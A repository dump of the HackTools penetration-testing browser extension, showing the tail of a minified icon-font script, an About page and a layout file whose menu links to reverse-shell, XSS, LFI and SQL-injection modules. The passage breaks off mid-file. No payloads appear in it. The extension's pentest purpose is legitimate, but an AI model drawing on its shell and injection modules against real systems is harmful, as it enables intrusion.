20.636-19.402 46.207-29.103 76.545-29.103 19.489 0 38.097 4.499 55.823 13.581 17.542 8.908 36.678 25.398 57.227 49.386v0z"  ></path><path d="M684.673 601.499l68.078 88.006h-88.182l-34.57-44.533c-28.57 15.695-60.495 23.455-95.591 23.455-58.729 0-107.585-20.283-146.474-60.758-38.89-40.476-58.288-88.801-58.288-144.798 0-37.389 9.082-71.783 27.158-103.087s42.945-56.174 74.69-74.605c31.657-18.429 65.699-27.69 102.029-27.69 55.555 0 103.174 20.017 143.035 60.141 39.86 40.036 59.79 88.89 59.79 146.563 0 53.088-17.283 98.765-51.677 137.303v0zM638.197 541.357c15.787-23.371 23.633-49.295 23.633-77.691 0-37.036-12.523-68.518-37.567-94.447-25.044-25.837-55.291-38.799-90.827-38.799-36.595 0-67.194 12.61-91.886 37.742-24.692 25.221-37.036 57.143-37.036 96.031 0 43.297 15.518 77.514 46.651 102.646 24.339 19.663 51.94 29.541 82.893 29.541 17.726 0 34.481-3.44 50.087-10.406l-70.018-90.124h88.801l35.275 45.503z"  ></path><path d="M779.294 267.37h74.426v320.198h108.554v70.99h-182.981v-391.184z"  ></path></symbol><symbol id="icon-js" viewBox="0 0 1024 1024"><path d="M64 64v896h896V64H64z m487.6 698.8c0 87.2-51.2 127-125.8 127-67.4 0-106.4-34.8-126.4-77l68.6-41.4c13.2 23.4 25.2 43.2 54.2 43.2 27.6 0 45.2-10.8 45.2-53V475.4h84.2v287.4z m199.2 127c-78.2 0-128.8-37.2-153.4-86l68.6-39.6c18 29.4 41.6 51.2 83 51.2 34.8 0 57.2-17.4 57.2-41.6 0-28.8-22.8-39-61.4-56l-21-9c-60.8-25.8-101-58.4-101-127 0-63.2 48.2-111.2 123.2-111.2 53.6 0 92 18.6 119.6 67.4L800 580c-14.4-25.8-30-36-54.2-36-24.6 0-40.2 15.6-40.2 36 0 25.2 15.6 35.4 51.8 51.2l21 9c71.6 30.6 111.8 62 111.8 132.4 0 75.6-59.6 117.2-139.4 117.2z" fill="" ></path></symbol><symbol id="icon-hash" viewBox="0 0 1024 1024"><path d="M853.333333 597.333333h-183.466666l31.146666-170.666666H853.333333a42.666667 42.666667 0 0 0 0-85.333334h-136.96l29.44-162.56A42.666667 42.666667 0 0 0 709.973333 128a42.666667 42.666667 0 0 0-52.053333 34.986667L625.92 341.333333h-165.546667l29.44-162.56A42.666667 42.666667 0 0 0 453.973333 128a42.666667 42.666667 0 0 0-52.053333 34.986667L369.92 341.333333H170.666667a42.666667 42.666667 0 0 0 0 85.333334h183.466666l-31.146666 170.666666H170.666667a42.666667 42.666667 0 0 0 0 85.333334h136.96l-29.44 162.56A42.666667 42.666667 0 0 0 314.026667 896a42.666667 42.666667 0 0 0 52.053333-34.986667L398.08 682.666667h165.546667l-29.44 162.56a42.666667 42.666667 0 0 0 35.84 50.773333 42.666667 42.666667 0 0 0 52.053333-34.986667l32-178.346666H853.333333a42.666667 42.666667 0 0 0 0-85.333334zM413.866667 597.333333l31.146666-170.666666h165.12l-31.146666 170.666666z"  ></path></symbol><symbol id="icon-Network-Plug" viewBox="0 0 1024 1024"><path d="M921.6 1006.933333H102.4C54.613333 1006.933333 17.066667 969.386667 17.066667 921.6V102.4C17.066667 54.613333 54.613333 17.066667 102.4 17.066667h819.2c47.786667 0 85.333333 37.546667 85.333333 85.333333v819.2c0 47.786667-37.546667 85.333333-85.333333 85.333333zM102.4 51.2c-27.306667 0-51.2 23.893333-51.2 51.2v819.2c0 27.306667 23.893333 51.2 51.2 51.2h819.2c27.306667 0 51.2-23.893333 51.2-51.2V102.4c0-27.306667-23.893333-51.2-51.2-51.2H102.4z" fill="" ></path><path d="M819.2 733.866667H204.8c-10.24 0-17.066667-6.826667-17.066667-17.066667V375.466667c0-10.24 6.826667-17.066667 17.066667-17.066667h119.466667V307.2c0-10.24 6.826667-17.066667 17.066666-17.066667h85.333334V238.933333c0-10.24 6.826667-17.066667 17.066666-17.066666h136.533334c10.24 0 17.066667 6.826667 17.066666 17.066666v51.2H682.666667c10.24 0 17.066667 6.826667 17.066666 17.066667v51.2H819.2c10.24 0 17.066667 6.826667 17.066667 17.066667v341.333333c0 10.24-6.826667 17.066667-17.066667 17.066667z m-597.333333-34.133334h580.266666v-307.2H682.666667c-10.24 0-17.066667-6.826667-17.066667-17.066666V324.266667H580.266667c-10.24 0-17.066667-6.826667-17.066667-17.066667V256h-102.4V307.2c0 10.24-6.826667 17.066667-17.066667 17.066667h-85.333333V375.466667c0 10.24-6.826667 17.066667-17.066667 17.066666H221.866667v307.2z" fill="" ></path><path d="M307.2 733.866667c-10.24 0-17.066667-6.826667-17.066667-17.066667v-102.4c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v102.4c0 10.24-6.826667 17.066667-17.066667 17.066667zM409.6 733.866667c-10.24 0-17.066667-6.826667-17.066667-17.066667v-102.4c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v102.4c0 10.24-6.826667 17.066667-17.066667 17.066667zM614.4 733.866667c-10.24 0-17.066667-6.826667-17.066667-17.066667v-102.4c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v102.4c0 10.24-6.826667 17.066667-17.066667 17.066667zM716.8 733.866667c-10.24 0-17.066667-6.826667-17.066667-17.066667v-102.4c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v102.4c0 10.24-6.826667 17.066667-17.066667 17.066667zM512 733.866667c-10.24 0-17.066667-6.826667-17.066667-17.066667v-102.4c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v102.4c0 10.24-6.826667 17.066667-17.066667 17.066667z" fill="" ></path><path d="M921.6 102.4m-17.066667 0a17.066667 17.066667 0 1 0 34.133334 0 17.066667 17.066667 0 1 0-34.133334 0Z" fill="" ></path><path d="M102.4 102.4m-17.066667 0a17.066667 17.066667 0 1 0 34.133334 0 17.066667 17.066667 0 1 0-34.133334 0Z" fill="" ></path><path d="M921.6 921.6m-17.066667 0a17.066667 17.066667 0 1 0 34.133334 0 17.066667 17.066667 0 1 0-34.133334 0Z" fill="" ></path><path d="M102.4 921.6m-17.066667 0a17.066667 17.066667 0 1 0 34.133334 0 17.066667 17.066667 0 1 0-34.133334 0Z" fill="" ></path></symbol><symbol id="icon-l-file" viewBox="0 0 1024 1024"><path d="M870.667 862.869H153.333c-20.435 0-37-16.565-37-37V198.13c0-20.435 16.565-37 37-37h204.16a37 37 0 0 1 31.769 18.033l93.288 156.255h388.116c20.435 0 37 16.565 37 37v453.45c0.001 20.436-16.565 37.001-36.999 37.001z m-680.334-74h643.333v-379.45H461.548a37.002 37.002 0 0 1-31.769-18.033L336.491 235.13H190.333v553.739z"  ></path><path d="M870.029 300.396H399.845c-20.435 0-37-16.565-37-37s16.565-37 37-37h470.184c20.435 0 37 16.565 37 37s-16.565 37-37 37z"  ></path><path d="M870.663 431.186c-20.351 0-36.896-16.446-36.996-36.819l-0.637-130.79c-0.1-20.434 16.385-37.08 36.819-37.18h0.184c20.351 0 36.896 16.447 36.996 36.82l0.637 130.789c0.1 20.435-16.385 37.081-36.819 37.181l-0.184-0.001z"  ></path><path d="M683.124 716H340.876c-17.673 0-32-14.327-32-32s14.327-32 32-32h342.247c17.673 0 32 14.327 32 32s-14.327 32-31.999 32z"  ></path></symbol><symbol id="icon-html-" viewBox="0 0 1024 1024"><path d="M42.666667 149.482667A106.752 106.752 0 0 1 149.482667 42.666667h725.034666A106.752 106.752 0 0 1 981.333333 149.482667v725.034666A106.752 106.752 0 0 1 874.517333 981.333333H149.482667A106.752 106.752 0 0 1 42.666667 874.517333V149.482667z m85.333333 0v725.034666C128 886.421333 137.578667 896 149.482667 896h725.034666c11.904 0 21.482667-9.578667 21.482667-21.482667V149.482667C896 137.578667 886.421333 128 874.517333 128H149.482667C137.578667 128 128 137.578667 128 149.482667z m243.498667 264.682666L273.664 512l97.834667 97.834667a42.666667 42.666667 0 0 1-60.330667 60.330666l-128-128a42.666667 42.666667 0 0 1 0-60.330666l128-128a42.666667 42.666667 0 0 1 60.330667 60.330666z m281.002666 195.669334L750.336 512l-97.834667-97.834667a42.666667 42.666667 0 0 1 60.330667-60.330666l128 128a42.666667 42.666667 0 0 1 0 60.330666l-128 128a42.666667 42.666667 0 0 1-60.330667-60.330666z m-115.712-263.978667a42.666667 42.666667 0 0 1 78.421334 33.621333l-128 298.666667a42.666667 42.666667 0 0 1-78.421334-33.621333l128-298.666667z"  ></path></symbol><symbol id="icon-jiemaleixing" viewBox="0 0 1505 1024"><path d="M120.470588 120.470588v783.058824h1264.941177V120.470588H120.470588zM60.235294 0h1385.411765c33.129412 0 60.235294 27.105882 60.235294 60.235294v903.529412c0 33.129412-27.105882 60.235294-60.235294 60.235294H60.235294c-33.129412 0-60.235294-27.105882-60.235294-60.235294V60.235294C0 27.105882 27.105882 0 60.235294 0z m331.294118 331.294118h120.470588c33.129412 0 60.235294 27.105882 60.235294 60.235294s-27.105882 60.235294-60.235294 60.235294h-120.470588c-33.129412 0-60.235294-27.105882-60.235294-60.235294s27.105882-60.235294 60.235294-60.235294z m0 240.941176h120.470588c33.129412 0 60.235294 27.105882 60.235294 60.235294s-27.105882 60.235294-60.235294 60.235294h-120.470588c-33.129412 0-60.235294-27.105882-60.235294-60.235294s27.105882-60.235294 60.235294-60.235294z m331.294117-240.941176h120.470589c33.129412 0 60.235294 27.105882 60.235294 60.235294s-27.105882 60.235294-60.235294 60.235294h-120.470589c-33.129412 0-60.235294-27.105882-60.235294-60.235294s27.105882-60.235294 60.235294-60.235294z m0 240.941176h120.470589c33.129412 0 60.235294 27.105882 60.235294 60.235294s-27.105882 60.235294-60.235294 60.235294h-120.470589c-33.129412 0-60.235294-27.105882-60.235294-60.235294s27.105882-60.235294 60.235294-60.235294z m376.470589-90.352941c-42.164706 0-75.294118-33.129412-75.294118-75.294118s33.129412-75.294118 75.294118-75.294117 75.294118 33.129412 75.294117 75.294117-33.129412 75.294118-75.294117 75.294118z m0 210.823529c-42.164706 0-75.294118-33.129412-75.294118-75.294117s33.129412-75.294118 75.294118-75.294118 75.294118 33.129412 75.294117 75.294118-33.129412 75.294118-75.294117 75.294117z"  ></path></symbol><symbol id="icon-lock-open" viewBox="0 0 1024 1024"><path d="M512 725.333333c47.146667 0 85.333333-38.186667 85.333333-85.333333s-38.186667-85.333333-85.333333-85.333333-85.333333 38.186667-85.333333 85.333333 38.186667 85.333333 85.333333 85.333333z m256-384h-42.666667v-85.333333c0-117.76-95.573333-213.333333-213.333333-213.333333S298.666667 138.24 298.666667 256h81.066666c0-72.96 59.306667-132.266667 132.266667-132.266667 72.96 0 132.266667 59.306667 132.266667 132.266667v85.333333H256c-47.146667 0-85.333333 38.186667-85.333333 85.333334v426.666666c0 47.146667 38.186667 85.333333 85.333333 85.333334h512c47.146667 0 85.333333-38.186667 85.333333-85.333334V426.666667c0-47.146667-38.186667-85.333333-85.333333-85.333334z m0 512H256V426.666667h512v426.666666z"  ></path></symbol><symbol id="icon-lock" viewBox="0 0 1024 1024"><path d="M298.666667 512v298.666667h469.333333v-298.666667H298.666667z m384-85.333333V320C682.666667 261.248 634.752 213.333333 575.744 213.333333h-84.821333A106.794667 106.794667 0 0 0 384 320V426.666667h298.666667z m-384 0V320C298.666667 213.973333 384.768 128 490.922667 128h84.821333A192.256 192.256 0 0 1 768 320V426.666667h85.333333v469.333333H213.333333V426.666667h85.333334z"  ></path></symbol><symbol id="icon-sort_others" viewBox="0 0 1024 1024"><path d="M427.031631 466.754954h-330.830769a31.507692 31.507692 0 0 1-31.507693-31.507692v-330.83077a31.507692 31.507692 0 0 1 31.507693-31.507692h330.830769a31.507692 31.507692 0 0 1 31.507692 31.507692v330.83077a31.507692 31.507692 0 0 1-31.507692 31.507692z m-299.323077-63.015385h267.815384v-267.815384h-267.815384v267.815384zM925.9008 466.754954h-330.830769a31.507692 31.507692 0 0 1-31.507693-31.507692v-330.83077a31.507692 31.507692 0 0 1 31.507693-31.507692h330.830769a31.507692 31.507692 0 0 1 31.507692 31.507692v330.83077a31.507692 31.507692 0 0 1-31.507692 31.507692z m-299.323077-63.015385h267.815385v-267.815384h-267.815385v267.815384zM427.031631 962.071631h-330.830769a31.507692 31.507692 0 0 1-31.507693-31.507693v-330.830769a31.507692 31.507692 0 0 1 31.507693-31.507692h330.830769a31.507692 31.507692 0 0 1 31.507692 31.507692v330.830769a31.507692 31.507692 0 0 1-31.507692 31.507693z m-299.323077-63.015385h267.815384v-267.815384h-267.815384v267.815384zM925.9008 962.071631h-330.830769a31.507692 31.507692 0 0 1-31.507693-31.507693v-330.830769a31.507692 31.507692 0 0 1 31.507693-31.507692h330.830769a31.507692 31.507692 0 0 1 31.507692 31.507692v330.830769a31.507692 31.507692 0 0 1-31.507692 31.507693z m-299.323077-63.015385h267.815385v-267.815384h-267.815385v267.815384z" fill="" ></path></symbol><symbol id="icon-about" viewBox="0 0 1024 1024"><path d="M512 0C229.376 0 0 229.376 0 512s229.376 512 512 512 512-229.376 512-512S794.624 0 512 0z m62.464 774.144c0 27.648-22.528 50.176-50.176 50.176h-25.088c-27.648 0-50.176-22.528-50.176-50.176V474.624c0-27.648 22.528-50.176 50.176-50.176h25.088c27.648 0 50.176 22.528 50.176 50.176v299.52zM512 349.696c-34.304 0-62.464-28.16-62.464-62.464 0-34.304 28.16-62.464 62.464-62.464s62.464 28.16 62.464 62.464c0 34.304-28.16 62.464-62.464 62.464z"  ></path></symbol><symbol id="icon-lvzhou_yuanchengTelnet" viewBox="0 0 1024 1024"><path d="M826.24628022 53.24171909H199.32480976C113.57628848 53.24171909 43.81517907 123.00282849 43.81517907 208.75134978v430.533649c0 85.75009236 69.76110941 155.51120178 155.50963069 155.51120179H411.4502398v76.98341013H236.53450541c-16.48387632 0-29.85071007 23.1170183-29.85071008 51.06042512 0 27.94183572 13.36683376 51.0604251 29.85071008 51.06042509h553.02525218c16.48544739 0 29.85071007-23.1185894 29.85071006-51.06042509 0-27.94340679-13.36526265-51.0604251-29.85071006-51.06042512H614.1208502v-76.98341013h212.12543002C911.99480153 794.79620057 981.75591092 725.03509116 981.75591092 639.28656987V208.75134978C981.75591092 123.00282849 911.99480153 53.24171909 826.24628022 53.24171909zM887.49051073 639.28656987C887.49051073 673.05714948 860.01685986 700.53080036 826.24628022 700.53080036H199.32480976C165.55423013 700.53080036 138.08057926 673.05714948 138.08057926 639.28656987V208.75134978C138.08057926 174.98077014 165.55423013 147.50711927 199.32480976 147.50711927h626.91989939C860.01685986 147.50711927 887.49051073 174.98077014 887.49051073 208.75134978v430.53522009z"  ></path><path d="M274.76540951 252.77014948h474.46918098v344.06871069H274.76540951z"  ></path></symbol><symbol id="icon-ruby" viewBox="0 0 1024 1024"><path d="M859.989333 3.541333c129.408 22.4 166.101333 110.848 163.370667 203.52L1024 205.738667 965.76 968.96 208.64 1020.842667h0.682667C146.474667 1018.197333 6.4 1012.437333 0 816.597333l70.186667-128 120.277333 281.002667 21.461333 50.005333 119.68-390.144-1.28 0.298667 0.682667-1.28 394.88 126.122667-59.562667-231.722667-42.24-166.4 376.32-24.277333-26.24-21.76L704 90.197333 860.117333 3.114667l-0.128 0.426666zM0 814.464v1.109333-1.237333 0.128zM218.88 216.448c151.936-150.741333 348.032-239.829333 423.338667-163.84 75.178667 75.818667-4.48 260.48-156.714667 411.136-152.021333 150.698667-345.728 244.650667-420.864 168.832-75.349333-75.818667 1.92-265.258667 154.112-416l0.128-0.128z" fill="" ></path></symbol><symbol id="icon-perl" viewBox="0 0 1024 1024"><path d="M533.333333 597.333333c-42.666667 0-128 42.666667-128 85.333334 0 85.333333 128 85.333333 128 85.333333v-42.666667a42.666667 42.666667 0 0 1-42.666666-42.666666 42.666667 42.666667 0 0 1 42.666666-42.666667v-42.666667m0 213.333334s-170.666667-21.333333-170.666666-106.666667c0-128 128-160 170.666666-160V490.666667c-42.666667 0-213.333333 64-213.333333 192 0 170.666667 213.333333 170.666667 213.333333 170.666666v-42.666666M450.986667 299.946667l50.773333 22.613333c18.346667-104.106667 67.413333-173.226667 67.413333-173.226667-18.346667 43.946667-30.293333 80.213333-37.973333 108.8C582.826667 151.466667 687.36 85.333333 687.36 85.333333a679.082667 679.082667 0 0 0-112.64 150.613334c67.413333-71.68 160.853333-118.613333 160.853333-118.613334-114.773333 73.386667-166.4 189.866667-179.2 222.293334l23.466667 3.413333c0 22.186667 0 42.666667 10.666667 58.88 32.426667 80.64 198.826667 87.466667 198.826666 280.746667s-171.946667 256-263.253333 256-291.413333-41.386667-291.413333-256 211.2-216.32 248.746666-302.08c5.12-16.213333-32.426667-80.64-32.426666-80.64z" fill="#9575CD" ></path></symbol><symbol id="icon-php" viewBox="0 0 1280 1024"><path d="M640 209c342.8 0 606.4 144.4 606.4 303S982.6 815 640 815c-342.8 0-606.4-144.4-606.4-303S297.4 209 640 209m0-33.6C286.6 175.4 0 326 0 512s286.6 336.6 640 336.6S1280 698 1280 512 993.4 175.4 640 175.4zM436.4 485c-15.8 81-71.6 72.6-140.2 72.6l27.4-141.2c76 0 127.6-8.2 112.8 68.6zM194.8 700.6h73.4l17.4-89.6c82.2 0 133.2 6 180.4-38.2 52.2-48 65.8-133.4 28.6-176.2-19.4-22.4-50.6-33.4-93-33.4h-141.4L194.8 700.6z m371.4-427.2h73l-17.4 89.6c63 0 121.4-4.6 149.6 21.4 29.6 27.2 15.4 62-16.6 226.2h-74c30.8-158.8 36.6-172 25.4-184-10.8-11.6-35.4-9.2-94.8-9.2l-37.6 193.2h-73l65.4-337.2zM1010 485c-16 82.2-73.4 72.6-140.2 72.6l27.4-141.2c76.4 0 127.6-8.2 112.8 68.6zM768.4 700.6H842l17.4-89.6c86.4 0 134.2 5 180.4-38.2 52.2-48 65.8-133.4 28.6-176.2-19.4-22.4-50.6-33.4-93-33.4H834l-65.6 337.4z"  ></path></symbol><symbol id="icon-python" viewBox="0 0 1024 1024"><path d="M943.58718 401c-15.4-61.8-44.6-108.4-106.8-108.4h-80.2v94.8c0 73.6-62.4 135.6-133.6 135.6H409.38718c-58.4 0-106.8 50-106.8 108.6v203.6c0 58 50.4 92 106.8 108.6 67.6 19.8 132.6 23.4 213.6 0 53.8-15.6 106.8-47 106.8-108.6v-81.4H516.38718v-27.2h320.4c62.2 0 85.2-43.4 106.8-108.4 22.4-67 21.4-131.4 0-217.2zM636.38718 808c22.2 0 40.2 18.2 40.2 40.6 0 22.6-18 40.8-40.2 40.8-22 0-40.2-18.4-40.2-40.8 0.2-22.6 18.2-40.6 40.2-40.6zM399.58718 496.2h213.6c59.4 0 106.8-49 106.8-108.6V183.8c0-58-48.8-101.4-106.8-111.2-71.6-11.8-149.4-11.2-213.6 0.2-90.4 16-106.8 49.4-106.8 111.2v81.4h213.8v27.2h-294c-62.2 0-116.6 37.4-133.6 108.4-19.6 81.4-20.4 132.2 0 217.2 15.2 63.2 51.4 108.4 113.6 108.4H265.98718v-97.6c0-70.6 61-132.8 133.6-132.8z m-13.4-285.2c-22.2 0-40.2-18.2-40.2-40.6 0.2-22.6 18-40.8 40.2-40.8 22 0 40.2 18.4 40.2 40.8s-18 40.6-40.2 40.6z"  ></path></symbol><symbol id="icon-gnubash" viewBox="0 0 1024 1024"><path d="M897.593538 209.051598L574.331507 17.150764a122.017871 122.017871 0 0 0-124.705678 0.042663L126.363798 209.051598A128.972037 128.972037 0 0 0 64.032291 320.104926v383.759004c0 45.778034 23.76362 88.14298 62.374171 111.053328l323.262031 191.85817a122.017871 122.017871 0 0 0 124.663014 0l323.262031-191.85817a128.972037 128.972037 0 0 0 62.374171-111.053328V320.104926A128.886709 128.886709 0 0 0 897.593538 209.051598zM647.243585 808.304401l0.554626 27.56068c0.042664 3.32776-2.13318 7.12482-4.735658 8.447391l-16.340156 9.385991c-2.602479 1.322571-4.735659-0.298645-4.778322-3.626406l-0.298645-27.09138c-13.993658 5.802248-28.15797 7.210147-37.202652 3.583741-1.706544-0.682617-2.431825-3.199769-1.749207-6.058229l5.930239-24.915538a10.239262 10.239262 0 0 1 2.943788-5.162294 6.954165 6.954165 0 0 1 1.535889-1.109254c0.938599-0.4693 1.834534-0.59729 2.645143-0.255981 9.769962 3.285097 22.227731 1.749207 34.2162-4.309023 15.230902-7.72211 25.4275-23.251657 25.256846-38.695877-0.127991-13.993658-7.72211-19.83857-26.152781-19.966561-23.464975 0.042664-45.394061-4.565004-45.73537-39.122513-0.298645-28.456615 14.505621-58.065148 37.927932-76.794465l-0.298645-27.816661c-0.042664-3.413087 2.047852-7.167483 4.735659-8.532719l15.785529-10.068607c2.602479-1.322571 4.735659 0.298645 4.778322 3.711732l0.255981 27.859325c11.64716-4.650331 21.801095-5.887576 30.973768-3.754396 2.005189 0.511963 2.858461 3.242433 2.047852 6.442203l-6.143557 24.659556a10.879216 10.879216 0 0 1-2.773133 4.948976 6.868838 6.868838 0 0 1-1.621217 1.194581 3.541078 3.541078 0 0 1-2.431825 0.383972c-4.181032-0.938599-14.164312-3.114442-29.82185 4.820986-16.425483 8.3194-22.185067 22.611703-22.057077 33.192274 0.127991 12.671087 6.612857 16.51081 29.053906 16.894782 29.864514 0.511963 42.791582 13.567022 43.090227 43.644854 0.298645 29.395214-15.44422 61.136926-39.591812 80.54886z m169.502448-46.375323c0 2.559815-0.341309 4.948977-2.474488 6.18622l-81.743441 49.660421c-2.13318 1.237244-3.839723 0.170654-3.839724-2.389161v-21.075815c0-2.559815 1.578553-3.967714 3.711733-5.204958l80.506197-48.167194c2.13318-1.237244 3.839723-0.170654 3.839723 2.389161v18.601326z m56.145286-471.944648l-305.812623 188.871719c-38.141251 22.313058-66.256557 47.313923-66.256557 93.305274v376.847503c0 27.518016 11.092534 45.351398 28.15797 50.513692a98.296914 98.296914 0 0 1-16.980109 1.66388c-17.918708 0-35.538772-4.863649-51.068319-14.078985L137.66965 795.249342a106.402997 106.402997 0 0 1-51.238974-91.385412V320.104926c0-37.586624 19.625252-72.613432 51.238974-91.385413L460.931681 36.818679a99.918131 99.918131 0 0 1 102.136638 0l323.262031 191.900834a105.763043 105.763043 0 0 1 49.660421 73.89334c-10.751225-22.867685-34.898818-29.096569-63.099452-12.628423z"  ></path></symbol></svg>',i=(i=document.getElementsByTagName("script"))[i.length-1].getAttribute("data-injectcss"),e=function(t,c){c.parentNode.insertBefore(t,c)};if(i&&!t.__iconfont__svg__cssinject__){t.__iconfont__svg__cssinject__=!0;try{document.write("<style>.svgfont {display: inline-block;width: 1em;height: 1em;fill: currentColor;vertical-align: -0.1em;font-size:16px;}</style>")}catch(t){console&&console.log(t)}}function s(){o||(o=!0,h())}function m(){try{a.documentElement.doScroll("left")}catch(t){return void setTimeout(m,50)}s()}c=function(){var t,c;(c=document.createElement("div")).innerHTML=v,v=null,(t=c.getElementsByTagName("svg")[0])&&(t.setAttribute("aria-hidden","true"),t.style.position="absolute",t.style.width=0,t.style.height=0,t.style.overflow="hidden",c=t,(t=document.body).firstChild?e(c,t.firstChild):t.appendChild(c))},document.addEventListener?~["complete","loaded","interactive"].indexOf(document.readyState)?setTimeout(c,0):(l=function(){document.removeEventListener("DOMContentLoaded",l,!1),c()},document.addEventListener("DOMContentLoaded",l,!1)):document.attachEvent&&(h=c,a=t.document,o=!1,m(),a.onreadystatechange=function(){"complete"==a.readyState&&(a.onreadystatechange=null,s())})}(window);

================================================
FILE: src/components/AboutUs.tsx
================================================
import React from 'react';
import { Typography, Divider } from 'antd';

const { Title, Paragraph, Link } = Typography;

export default function AboutUs () {
    return (
        <div>
            <Title
                level={2}
                style={{
                    fontWeight: 'bold',
                    margin: 15
                }}
            >
                About us
            </Title>
            <Paragraph
                style={{
                    margin: 15
                }}
            >
                Our story of two students creating this app
            </Paragraph>
            <Divider dashed />
            <div
                style={{
                    padding: 15,
                    marginTop: 15
                }}
            >
                <Paragraph>
                    HackTools, is a web extension facilitating your web application penetration tests, it includes cheat
                    sheets as well as all the tools used during a test such as XSS payloads, Reverse shells and much
                    more. With the extension you no longer need to search for payloads in different websites or in your
                    local storage space, most of the tools are accessible in one click. HackTools is accessible either
                    in pop up mode or in a whole tab in the Devtools part of the browser with F12.
                </Paragraph>
                <Paragraph>
                    Note that this project is maintained, developed and made available for free, you can offer us a
                    coffee, it will be very encouraging and greatly appreciated
                </Paragraph>
                <Paragraph>HackTools is created by Ludovic COULON and Riadh BOUCHAHOUA</Paragraph>
                <a href='https://www.paypal.com/paypalme/hacktoolsEXT' target='_blank' rel='noreferrer noopener'>
                    <img
                        src='https://paymentweek.com/wp-content/uploads/2014/09/paypal-copy-1024x489.png'
                        alt='Paypal'
                        style={{
                            height: '50px',
                            width: 'auto',
                        }}
                    />
                </a>
            </div>
            <Divider dashed />
            <div
                style={{
                    padding: 15,
                    marginTop: 15
                }}
            >
                <Title level={3}>Contribute</Title>
                <Paragraph>
                    We are always looking for community input into our software. Feel free to contribute to the Hack-Tools repository:
                </Paragraph>
                <Paragraph>- Contribute the project: <Link href='https://github.com/LasCC/Hack-Tools' target='_blank'>https://github.com/LasCC/Hack-Tools</Link></Paragraph>

                <Paragraph strong>Before submitting a bug report</Paragraph>
                <Paragraph>Check the open issues, to see if the problem is already reported.</Paragraph>
                <Paragraph>If you encounter a problem that was reported and closed, check why it was closed and if you think it should be reopened, open a new issue instead.</Paragraph>
                <Paragraph>- Report a bug: <Link href='https://github.com/LasCC/Hack-Tools/issues' target='_blank'>https://github.com/LasCC/Hack-Tools/issues</Link></Paragraph>
            </div>
            <Divider dashed />
            <div key="c"
                style={{
                    padding: 15,
                    marginTop: 15
                }}
            >
                <Title level={3}> Credits </Title> <Paragraph> PentestMonkey </Paragraph>
                <Paragraph> GTFOBins </Paragraph> <Paragraph> Antd </Paragraph> <Paragraph> Iconfont CN </Paragraph>
                <Paragraph> John Hammond </Paragraph> <Paragraph> The Noun Project </Paragraph>
                <Paragraph> PayloadsAllTheThings </Paragraph>
                <Paragraph> Fabien LOISON(flozz) for the p0wny @shell </Paragraph>
                <Paragraph> GoProSlowYo for the zsh reverse shell </Paragraph>
                <Paragraph> MITRE ATT&CK </Paragraph>
                <Paragraph> Thanks to dejisec for the Active Directory scripts ! <Link href='https://gist.github.com/dejisec/3477eff3258f1f43fc3c57de56295f34' target='_blank'>Link</Link> </Paragraph>
            </div>
        </div>
    );
}


================================================
FILE: src/components/LayoutApp.tsx
================================================
import React, { useEffect } from 'react';
import { Layout, Menu, Typography, theme, Button, Select, ConfigProvider, Switch } from 'antd';
import { CopyrightCircleOutlined, FullscreenOutlined, ArrowsAltOutlined } from '@ant-design/icons';
import { createFromIconfontCN } from '@ant-design/icons';
import { goTo } from 'react-chrome-extension-router';
import ReverseShell from './linux/ReverseShell';
import PhpReverseShell from './web/PhpReverseShell';
import TtySpawnShell from './linux/TtySpawnShell';
import Base64Encode from './encoding/DataEncoding';
import Hashing from './encoding/Hashing';
import LinuxCommands from './linux/LinuxCommands';
import PowershellCommands from './linux/PowershellCommands';
import LFI from './web/LFI';
import XSS from './web/XSS';
import SQLi from './web/SqlInjection';
import AboutUs from './AboutUs';
import FeedRSS from './rss/FeedRSS';
import FileTransfer from './file_transfer/File_transfer';
import PersistedState from 'use-persisted-state';
import MSFBuilder from './linux/MSFBuilder';
import EchoBase64 from './file_transfer/ObfuscatedFiles';
import Notepad from './notepad/Notepad';

const { Paragraph } = Typography;
const { Sider, Content, Footer } = Layout;
const IconFont = createFromIconfontCN( {
    scriptUrl: [ './iconfont.js' ]
} );

export default function LayoutApp ( props: {
    children: boolean | React.ReactFragment | React.ReactPortal | null | undefined;
} ) {

    const { defaultAlgorithm, darkAlgorithm } = theme;
    const setDarkMode = PersistedState<boolean>( 'dark_mode' );
    const [ darkMode, setDarkModeState ] = setDarkMode( false );
    const handleSwtichTheme = ( value: string ) => {
        // Set the dark mode state based on the selected value
        // We can use the '===' operator because we know the value can only be 'dark' or 'light'.
        const isDarkMode = value === 'dark';
        setDarkModeState( isDarkMode );
    }

    interface IRouterComponent {
        key: string;
        icon: JSX.Element;
        name: string;
        componentRoute: React.FunctionComponent;
    }

    const Tabs: Array<IRouterComponent> = [
        {
            key: '1',
            icon: <IconFont type='icon-gnubash' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'Reverse Shell',
            componentRoute: ReverseShell
        },
        {
            key: '2',
            icon: <IconFont type='icon-php' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'PHP Reverse Shell',
            componentRoute: PhpReverseShell
        },
        {
            key: '3',
            icon: <IconFont type='icon-lvzhou_yuanchengTelnet' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'TTY Spawn Shell',
            componentRoute: TtySpawnShell
        },
        {
            key: '4',
            icon: <IconFont type='icon-linux' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'Useful Linux commands',
            componentRoute: LinuxCommands
        },
        {
            key: '5',
            icon: <IconFont type='icon-powershell' style={{ fontSize: '1.5em', marginTop: 3 }} />, name: 'PowerShell Commands',
            componentRoute: PowershellCommands
        },
        {
            key: '6',
            icon: <IconFont type='icon-transfer' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'Transfer Methods',
            componentRoute: FileTransfer
        },
        {
            key: '7',
            icon: <IconFont type='icon-l-file' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'LFI',
            componentRoute: LFI
        },
        {
            key: '8',
            icon: <IconFont type='icon-js' style={{ fontSize: '1.5em', marginTop: 3 }} />,
            name: 'XSS',
            componentRoute: XSS
        },
        {
            key: '9',
            icon: <IconFont type='icon-sql' style={{ fontSize: '1.5em', marginTop: 3 }} />,
